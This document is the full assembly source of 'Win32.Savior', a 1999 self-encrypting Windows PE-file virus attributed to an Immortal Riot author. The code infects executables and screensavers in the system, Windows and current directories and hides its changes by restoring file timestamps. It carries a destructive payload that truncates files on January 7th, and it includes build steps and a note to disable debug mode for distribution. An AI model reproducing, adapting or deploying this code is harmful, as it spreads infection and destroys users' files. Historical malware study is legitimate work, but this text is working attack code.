;============================================================================ ; ; ; NAME: Win32.Savior v1.00 ; TYPE: Direct-action variable encrypting PE-infector. ; SIZE: Around 1850 bytes. ; AUTHOR: T-2000 / [Immortal Riot]. ; E-MAIL: T2000_@hotmail.com ; DATE: February 1999. ; PAYLOAD: File-trashing on January 7th. ; ; ; CAPABILITIES: ; ; - True Win32-compatible (Win-95/NT). ; - Variable encrypting (32-bit key). ; - Traps possible errors with a SEH. ; - Infects files in Windoze + System-directory. ; - Destructive payload. ; ; ; As for now only the host's import-table is being searched for GetModule- ; HandleA/W and GetProcAddress, this method is fully Win32-compatible though ; won't work if the mentioned API's aren't imported. This virus has been ; succesfully tested both under Windows-95 and Windows-NT version 4.0. ; ; ; Dedicated to a painful death on January 7th 1999, you know who you are... ; ; ; Assemble with: TASM32 SAVIOR.ASM /m /ml ; TLINK32 SAVIOR.OBJ IMPORT32.LIB ; PEWRSEC SAVIOR.EXE ; ;============================================================================ .386 .MODEL FLAT .CODE ORG 0 EXTRN GetModuleHandleA:PROC ; Hosts need to import these for EXTRN GetProcAddress:PROC ; the virus to be able to spread. EXTRN ExitProcess:PROC ; Only used by the carrier. Debug_Mode = 0 ; If true, no destruction occurs ; and only DUM?.* are infected. ; - Switch off for distribution! - Virus_Size EQU (Virus_End-START) Virus_Size_Mem EQU (Virus_End_Mem-START) Max_Infect EQU 3 Min_Size_Infect EQU 4096 Marker_File EQU 666h START: PUSH EAX ; Reserve room for EIP. PUSHFD ; Save registers & flags. PUSHAD CALL Get_Delta ; Get our location in memory. Anti_Moron DB 9Ah ; Overlapping code, anti BP. Get_Delta: POP EBP SUB EBP, (Anti_Moron-START) MOV EAX, 0 Init_Key = DWORD PTR $-4 MOV EBX, 0 Init_Slide = DWORD PTR $-4 MOV ECX, (Virus_End-Encrypted) / 4 PUSH EBP Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX SUB EBP, 4 ADD EAX, EBX ; Slide decryption-key. RCL EBX, 1 ; Slide key-slider. LOOP Decrypt_DWORD POP EBP IF (($-START) MOD 4) GT 0 DB (4 - (($-START) MOD 4)) DUP(90h) ENDIF Encrypted: MOV EAX, EBP SUB EAX, 1000h ; Calculate image-base. Base_Displ = DWORD PTR $-4 LEA EBX, [EAX+((Carrier-START)+1000h)] Old_EIP_RVA = DWORD PTR $-4 MOV [ESP+(9*4)], EBX ; Set address host in stack. CALL Setup_SEH ; PUSH SEH-address on stack. IF Debug_Mode MOV EAX, 1 ; Unhandled exception. RET ELSE %OUT [WARNiNG]: NoN-DeBuG-MoDe!! ENDIF MOV ESP, [ESP+8] ; Restore original stack. JMP Restore_SEH ; Terminate program-flow. Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer. MOV FS:[ECX], ESP ; Set our own SEH. MOV EBX, [EAX+3Ch] ; PE-header. ADD EBX, EAX MOV EBX, [EBX+128] ; Import-directory. ADD EBX, EAX Find_K32_Dir: CMP [EBX], ECX ; Reached end of imports? JZ JMP_Rest_SEH MOV EDI, [EBX+(3*4)] ; Get module-name. ADD EDI, EAX CMP [EDI], 'NREK' ; Is it KERNEL32.DLL ? JNE Go_Next_Dir CMP [EDI+4], '23LE' JE Search_Entries Go_Next_Dir: ADD EBX, (5*4) ; Go to next directory. JMP Find_K32_Dir Search_Entries: PUSH EBX MOV EBX, [EBX] ; Array of RVA's. ADD EBX, EAX XOR EDX, EDX MOV ESI, 1 ; Initialize 'not found'. MOV EDI, ESI Search_Import: MOV ECX, [EBX+EDX] ; Reached end of array? JECXZ End_Imports ADD ECX, EAX ; Add base. Look_4_GetMod: PUSHAD ; GetModuleHandleA/W ? LEA ESI, [ECX+2] LEA EDI, [EBP+(Name_GetModuleHandleX-START)] MOV ECX, 15 CLD REPE CMPSB JNE Exit_Search_GM PUSHF MOV AL, (Get_Module-Unicode_Switch) - 1 CMP BYTE PTR [ESI], 'W' ; Unicode type? JNE Store_Switch_W XOR AL, AL Store_Switch_W: MOV [EBP+(Unicode_Switch-START)], AL POPF Exit_Search_GM: POPAD JNE Look_4_GetProc MOV ESI, EDX Look_4_GetProc: PUSHAD ; GetProcAddress ? LEA ESI, [ECX+2] LEA EDI, [EBP+(Name_GetProcAddress-START)] MOV ECX, 15 REPE CMPSB POPAD JNE Go_Next_Entry MOV EDI, EDX Go_Next_Entry: ADD EDX, 4 ; Next RVA in the array. JMP Search_Import End_Imports: POP EBX MOV EBX, [EBX+(4*4)] ADD EBX, EAX ; Store assumed GetModuleHandle(A/W)-address. PUSH DWORD PTR [EBX+ESI] POP DWORD PTR [EBP+(GetModuleHandleX-START)] ; Store assumed GetProcAddress(A/W)-address. PUSH DWORD PTR [EBX+EDI] POP DWORD PTR [EBP+(GetProcAddressX-START)] DEC ESI ; GetModuleHandle(A/W) found? JZ JMP_Rest_SEH DEC EDI ; GetProcAddress(A/W) found? JNZ Init_API JMP_Rest_SEH: JMP Restore_SEH ; Abort all. Init_API: LEA ESI, [EBP+(API_Names-START)] LEA EDI, [EBP+(API_Addresses-START)] Setup_Module: PUSH ESI JMP $ ; Use Ansi or Unicode ? Unicode_Switch = BYTE PTR $-1 ADD ESI, 9 ; Use Unicode equivalent. Get_Module: PUSH ESI CALL [EBP+(GetModuleHandleX-START)] POP ESI OR EAX, EAX ; Terminate when not found. JZ JMP_Rest_SEH XCHG EBX, EAX ; Save module-base in EBX. ADD ESI, (3*9) ; Start named functions. Loop_Get_API: PUSH ESI ; Retrieve API-address of PUSH EBX ; named function. CALL [EBP+(GetProcAddressX-START)] CLD ; Store API-address. STOSD XCHG ECX, EAX ; API not found? JECXZ JMP_Rest_SEH Find_Next_API: LODSB OR AL, AL ; Found end of API-name? JNZ Find_Next_API CMP [ESI], AL ; This is the end of module? JNZ Loop_Get_API LODSB CMP [ESI], AL ; End of whole table? JNZ Setup_Module ; Get local date & time. LEA EBX, [EBP+(Local_Time-START)] PUSH EBX CALL [EBP+(GetLocalTime-START)] MOV AL, (Read_Header-Trash_Switch) - 1 ; Is it time to say goodbye? CMP BYTE PTR [EBX.Current_Month], 1 JNE Start_Infect CMP BYTE PTR [EBX.Current_Day], 7 JNE Start_Infect XOR AL, AL Start_Infect: MOV [EBP+(Trash_Switch-START)], AL LEA ESI, [EBP+(Current_Directory-START)] MOV EBX, 260 PUSH ESI PUSH ESI ; Retrieve current path. PUSH EBX CALL [EBP+(GetCurrentDirectoryA-START)] ADD ESI, EBX PUSH ESI PUSH EBX ; Retrieve Windoze-directory. PUSH ESI CALL [EBP+(GetWindowsDirectoryA-START)] ADD ESI, EBX PUSH ESI PUSH EBX ; Retrieve System-directory. PUSH ESI CALL [EBP+(GetSystemDirectoryA-START)] ; Infect files in System-directory. CALL [EBP+(SetCurrentDirectoryA-START)] CALL Infect_Directory ; Infect files in Windoze-directory. CALL [EBP+(SetCurrentDirectoryA-START)] CALL Infect_Directory ; Infect files in current-directory. CALL [EBP+(SetCurrentDirectoryA-START)] CALL Infect_Directory ; Display the you-are-fucked-window? CMP BYTE PTR [EBP+(Trash_Switch-START)], 0 JNZ Restore_SEH ; Display an OK-box with a message. PUSH 0 LEA EAX, [EBP+(Payload_Title-START)] PUSH EAX LEA EAX, [EBP+(Payload_Text-START)] PUSH EAX PUSH 0 CALL [EBP+(MessageBoxA-START)] Restore_SEH: POP DWORD PTR FS:[0] ; Restore original SEH. POP EAX ; Trash handler-address. Execute_Host: POPAD ; Restore registers & flags. POPFD RET ; RETurn to our host. Payload_Title DB '.....', 0 ; Silence means death... Payload_Text DB 'A HUM4N G0D THA7 WAS MAN-M4DE', 0Dh DB 'WH3RE 1S Y0UR SAViOR N0W?!', 0 Infect_Directory: PUSHAD ; Clear infection-counter. AND BYTE PTR [EBP+(Infect_Counter-START)], 0 LEA EAX, [EBP+(Search_Record-START)] PUSH EAX LEA EAX, [EBP+(Search_Mask-START)] PUSH EAX CALL [EBP+(FindFirstFileA-START)] MOV ESI, EAX ; Save search-handle in ESI. INC EAX JZ Exit_Inf_Dir Infect_Loop: PUSHAD LEA EBX, [EBP+(Search_Record.Find_File_Name-START)] CMP BYTE PTR [EBP+(Trash_Switch-START)], 0 JZ Extension_OK MOV ESI, EBX Find_End_Name: LODSB ; Get next byte of filename. OR AL, AL ; Found end of the ASCIIZ ? JNZ Find_End_Name MOV EAX, [ESI-5] ; Get extension DWORD. CALL Upcase_EAX CMP EAX, 'EXE.' ; Standard .EXE-file? JE Extension_OK CMP EAX, 'RCS.' ; Screensaver? JNE Exit_Infect Extension_OK: PUSH EBX CALL [EBP+(GetFileAttributesA-START)] CMP EAX, -1 ; Error occurred? JE Exit_Infect MOV ESI, EAX AND AL, NOT 00000001b ; Get rid of readonly-flag. PUSH EAX PUSH EBX CALL [EBP+(SetFileAttributesA-START)] DEC EAX ; Error occurred? JNZ Exit_Infect PUSH ESI ; PUSH filename + attributes PUSH EBX ; for Restore_Attr. PUSH EAX ; Open candidate-file. PUSH EAX PUSH 3 ; Open existing. PUSH EAX PUSH EAX PUSH 80000000h OR 40000000h ; Read/write-access. PUSH EBX CALL [EBP+(CreateFileA-START)] MOV [EBP+(File_Handle-START)], EAX MOV ESI, EAX INC EAX ; Error occurred? JZ Restore_Attr PUSH ESI ; For CloseHandle. PUSH 0 ; Get candidate's filesize. PUSH ESI CALL [EBP+(GetFileSize-START)] CMP EAX, Min_Size_Infect ; File too small? JB Close_Handle LEA EAX, [EBP+(Time_Last_Write-START)] PUSH EAX ; Get filedates & times. SUB EAX, 8 PUSH EAX SUB EAX, 8 PUSH EAX PUSH ESI CALL [EBP+(GetFileTime-START)] JMP $ Trash_Switch = BYTE PTR $-1 IF Debug_Mode JMP Close_Handle ENDIF ; Trash file with a part of the virus. MOV ECX, 666 MOV EDX, EBP CALL Write_File ; Truncate file at 666 bytes. PUSH ESI CALL [EBP+(SetEndOfFile-START)] JMP Restore_Stamp ; Read the MZ-header. Read_Header: LEA EBX, [EBP+(Header-START)] MOV ECX, 40h CALL Read_File JNZ Close_Handle CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file. JNE Close_Handle CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header? JB Close_Handle MOV ESI, [EBX+3Ch] MOV EAX, ESI ; Seek to PE-header. CALL Seek_File JZ Close_Handle MOV ECX, 92 ; Read-in the PE-header. CALL Read_File JNZ Close_Handle CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header. JNE Close_Handle ; Program is executable? TEST BYTE PTR [EBX.PE_Flags], 00000010b JZ Close_Handle ; Don't infect DLL's. TEST BYTE PTR [EBX.PE_Flags+1], 00100000b JNZ Close_Handle CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file. JNE Close_Handle ; Is it already infected? CMP [EBX.Checksum], Marker_File JE Close_Handle PUSH ESI ; Calculate position of the last section-header. MOVZX EAX, [EBX.Number_Of_Sections] DEC AX MOV ECX, 40 MUL ECX ; Calculate size of PE-header. MOV DX, [EBX.NT_Header_Size] ADD DX, 24 LEA ECX, [ESI+EDX] ; Start section-headers. ADD EAX, ECX ; EAX = last section-header. PUSH EAX ; Seek to last section-header. CALL Seek_File LEA ESI, [EBP+(Last_Section_Header-START)] PUSH EBX MOV EBX, ESI ; Read last section-header. MOV ECX, 40 CALL Read_File POP EBX MOV EAX, [ESI.Section_RVA] ADD EAX, [ESI.Section_Physical_Size] MOV [EBP+(Base_Displ-START)], EAX XCHG [EBX.EIP_RVA], EAX MOV [EBP+(Old_EIP_RVA-START)], EAX ; Seek to the end of the section. MOV EAX, [ESI.Section_Physical_Offset] ADD EAX, [ESI.Section_Physical_Size] CALL Seek_File MOV EAX, [ESI.Section_Physical_Size] ADD EAX, Virus_Size MOV ECX, [EBX.File_Align] CALL Align_EAX MOV [ESI.Section_Physical_Size], EAX XCHG EDI, EAX ; Save physical-size in EDI. MOV EAX, [ESI.Section_Virtual_Size] ADD EAX, Virus_Size_Mem - 1 MOV ECX, [EBX.Object_Align] Calc_Mem_Size: INC EAX CALL Align_EAX CMP EAX, EDI ; Virtual-size may not be JB Calc_Mem_Size ; smaller than physical-size. MOV [ESI.Section_Virtual_Size], EAX ADD EAX, [ESI.Section_RVA] MOV ECX, [EBX.Object_Align] CALL Align_EAX MOV [EBX.Image_Size], EAX ; Set section-flags: read, write, executable, code. OR [ESI.Section_Flags], 11100000000000000000000000100000b LEA EDI, [EBP+(Buffer-START)] PUSHAD ; Get a random slide-key. CALL [EBP+(GetTickCount-START)] MOV [EBP+(Init_Slide-START)], EAX XCHG EBX, EAX ; Get a random encryption-key. CALL [EBP+(GetTickCount-START)] MOV [EBP+(Init_Key-START)], EAX MOV ESI, EBP MOV ECX, (Virus_Size / 2) CLD REP MOVSW ; MOVSD takes one more byte, ; gotta be compact you know. MOV ECX, (Virus_End-Encrypted) / 4 Encrypt_DWORD: XOR [EDI-4], EAX SUB EDI, 4 ADD EAX, EBX RCL EBX, 1 LOOP Encrypt_DWORD POPAD MOV EDX, EDI ; Write virusbody to end MOV ECX, Virus_Size ; of the last section. CALL Write_File POP EAX ; Offset last object-header. CALL Seek_File ; Write updated section-header back to file. MOV ECX, 40 LEA EDX, [EBP+(Last_Section_Header-START)] CALL Write_File ; Seek to end of file. PUSH 2 PUSH EAX PUSH EAX PUSH DWORD PTR [EBP+(File_Handle-START)] CALL [EBP+(SetFilePointer-START)] XOR EDX, EDX ; Zero-pad the infected file. MOV EDI, [EBX.File_Align] DIV EDI OR EDX, EDX ; File is already aligned? JZ Mark_Inf_File SUB EDI, EDX ; Howmany bytes to pad? Zero_Pad: MOV ECX, 1 ; Write a padding-byte. LEA EDX, [EBP+(Zero_Tolerance-START)] CALL Write_File DEC EDI ; We've did 'em all? JNZ Zero_Pad Mark_Inf_File: MOV [EBX.Checksum], Marker_File POP EAX ; Seek to start of PE-header. CALL Seek_File MOV ECX, 92 ; Write updated PE-header. MOV EDX, EBX CALL Write_File ; Increment our infection-counter. INC BYTE PTR [EBP+(Infect_Counter-START)] ; Restore original file-dates & times. Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)] PUSH EAX SUB EAX, 8 PUSH EAX SUB EAX, 8 PUSH EAX PUSH DWORD PTR [EBP+(File_Handle-START)] CALL [EBP+(SetFileTime-START)] Close_Handle: CALL [EBP+(CloseHandle-START)] Restore_Attr: CALL [EBP+(SetFileAttributesA-START)] Exit_Infect: POPAD ; We've did enough infections? CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect JNB Close_Find ; Find another file. LEA EAX, [EBP+(Search_Record-START)] PUSH EAX PUSH ESI CALL [EBP+(FindNextFileA-START)] DEC EAX ; Continue if search went OK. JZ Infect_Loop Close_Find: PUSH ESI ; Close search-handle. CALL [EBP+(FindClose-START)] Exit_Inf_Dir: POPAD RET ; EAX = Offset. ; Returns ZF if error. Seek_File: PUSH 0 PUSH 0 PUSH EAX PUSH DWORD PTR [EBP+(File_Handle-START)] CALL [EBP+(SetFilePointer-START)] INC EAX RET ; EBX = Buffer. ; ECX = Bytes to read. ; Returns ZF if successful. Read_File: PUSH 0 LEA EAX, [EBP+(Bytes_Read-START)] PUSH EAX PUSH ECX PUSH EBX PUSH DWORD PTR [EBP+(File_Handle-START)] CALL [EBP+(ReadFile-START)] DEC EAX RET ; ECX = Amount of bytes. ; EDX = Buffer. ; Returns ZF if successful. Write_File: PUSH 0 LEA EAX, [EBP+(Bytes_Read-START)] PUSH EAX PUSH ECX PUSH EDX PUSH 12345678h File_Handle = DWORD PTR $-4 CALL [EBP+(WriteFile-START)] DEC EAX RET Align_EAX: XOR EDX, EDX DIV ECX OR EDX, EDX ; Even division? JZ No_Round ; Then no need to round-up. INC EAX ; Round-up. No_Round: MUL ECX RET Copyright DB '(c) 1999 T-2000 / Immortal Riot.', 0 Upcase_EAX: ROL EAX, 8 CALL Upcase_AL ROL EAX, 8 CALL Upcase_AL ROL EAX, 8 CALL Upcase_AL ROL EAX, 8 Upcase_AL: CMP AL, 'a' JB Exit_Upcase_AL CMP AL, 'z' JA Exit_Upcase_AL SUB AL, 'a' - 'A' Exit_Upcase_AL: RET IF Debug_Mode Search_Mask DB 'DUM?.*', 0 ELSE Search_Mask DB '*.*', 0 ENDIF API_Names: DB 'KERNEL32', 0 DW 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0 DB 'CreateFileA', 0 DB 'CloseHandle', 0 DB 'SetFilePointer', 0 DB 'ReadFile', 0 DB 'WriteFile', 0 DB 'GetFileSize', 0 DB 'FindFirstFileA', 0 DB 'FindNextFileA', 0 DB 'FindClose', 0 DB 'GetFileTime', 0 DB 'SetFileTime', 0 DB 'GetFileAttributesA', 0 DB 'SetFileAttributesA', 0 DB 'GetLocalTime', 0 DB 'SetEndOfFile', 0 DB 'GetCurrentDirectoryA', 0 DB 'SetCurrentDirectoryA', 0 DB 'GetWindowsDirectoryA', 0 DB 'GetSystemDirectoryA', 0 DB 'GetTickCount', 0 DB 0 DB 'USER32', 0, 0, 0 DW 'U', 'S', 'E', 'R', '3', '2', 0, 0, 0 DB 'MessageBoxA', 0 DB 0 Zero_Tolerance DB 0 Name_GetProcAddress DB 'GetProcAddress', 0 Name_GetModuleHandleX DB 'GetModuleHandle' IF (($-START) MOD 4) GT 0 DB (4 - (($-START) MOD 4)) DUP(0) ENDIF Virus_End: API_Addresses: ; === API's from KERNEL32.DLL. === CreateFileA DD 0 CloseHandle DD 0 SetFilePointer DD 0 ReadFile DD 0 WriteFile DD 0 GetFileSize DD 0 FindFirstFileA DD 0 FindNextFileA DD 0 FindClose DD 0 GetFileTime DD 0 SetFileTime DD 0 GetFileAttributesA DD 0 SetFileAttributesA DD 0 GetLocalTime DD 0 SetEndOfFile DD 0 GetCurrentDirectoryA DD 0 SetCurrentDirectoryA DD 0 GetWindowsDirectoryA DD 0 GetSystemDirectoryA DD 0 GetTickCount DD 0 ; === API's from USER32.DLL. === MessageBoxA DD 0 GetModuleHandleX DD 0 ; These are being fetched GetProcAddressX DD 0 ; from the host's import. Local_Time DW 8 DUP(0) Time_Creation DD 0, 0 Time_Last_Access DD 0, 0 Time_Last_Write DD 0, 0 Infect_Counter DB 0 Bytes_Read DD 0 Header DB 92 DUP(0) Last_Section_Header DB 40 DUP(0) Search_Record DB 318 DUP(0) Current_Directory DB 260 DUP(0) Windows_Directory DB 260 DUP(0) System_Directory DB 260 DUP(0) Buffer DB Virus_Size DUP(0) Virus_End_Mem: Carrier: PUSH 0 ; Terminate current process. CALL ExitProcess ;---------------------- SOME USED STRUCTURES -------------------------------- EXE_Header STRUC EXE_Mark DW 0 ; MZ-marker (MZ or ZM). Image_Mod_512 DW 0 Image_512_Pages DW 0 Reloc_Items DW 0 Header_Size_Mem DW 0 Min_Size_Mem DW 0 Max_Size_Mem DW 0 Program_SS DW 0 Program_SP DW 0 MZ_Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Reloc_Table DW 0 EXE_Header ENDS PE_Header STRUC PE_Mark DD 0 ; PE-marker (PE/0/0). CPU_Type DW 0 ; Minimal CPU required. Number_Of_Sections DW 0 ; Number of sections in PE. DD 0 Reserved_1 DD 0 DD 0 NT_Header_Size DW 0 PE_Flags DW 0 DD 4 DUP(0) EIP_RVA DD 0 DD 2 DUP(0) Image_Base DD 0 Object_Align DD 0 File_Align DD 0 DW 0, 0 DW 0, 0 DW 0, 0 DD 0 Image_Size DD 0 DD 0 Checksum DD 0 PE_Header ENDS Section_Header STRUC Section_Name DB 8 DUP(0) ; Zero-padded section-name. Section_Virtual_Size DD 0 ; Memory-size of section. Section_RVA DD 0 ; Start section in memory. Section_Physical_Size DD 0 ; Section-size in file. Section_Physical_Offset DD 0 ; Section file-offset. Section_Reserved_1 DD 0 ; Not used for executables. Section_Reserved_2 DD 0 ; Not used for executables. Section_Reserved_3 DD 0 ; Not used for executables. Section_Flags DD 0 ; Flags of the section. Section_Header ENDS Find_First_Next_Win32 STRUC File_Attributes DD 0 Creation_Time DD 0, 0 Last_Accessed_Time DD 0, 0 Last_Written_Time DD 0, 0 Find_File_Size_High DD 0 Find_File_Size_Low DD 0 Find_Reserved_1 DD 0 Find_Reserved_2 DD 0 Find_File_Name DB 260 DUP(0) Find_DOS_File_Name DB 14 DUP(0) Find_First_Next_Win32 ENDS Date_Time STRUC Current_Year DW 0 Current_Month DW 0 Current_Day_Of_Week DW 0 Current_Day DW 0 Current_Hour DW 0 Current_Minute DW 0 Current_Second DW 0 Current_Millisecond DW 0 Date_Time ENDS END START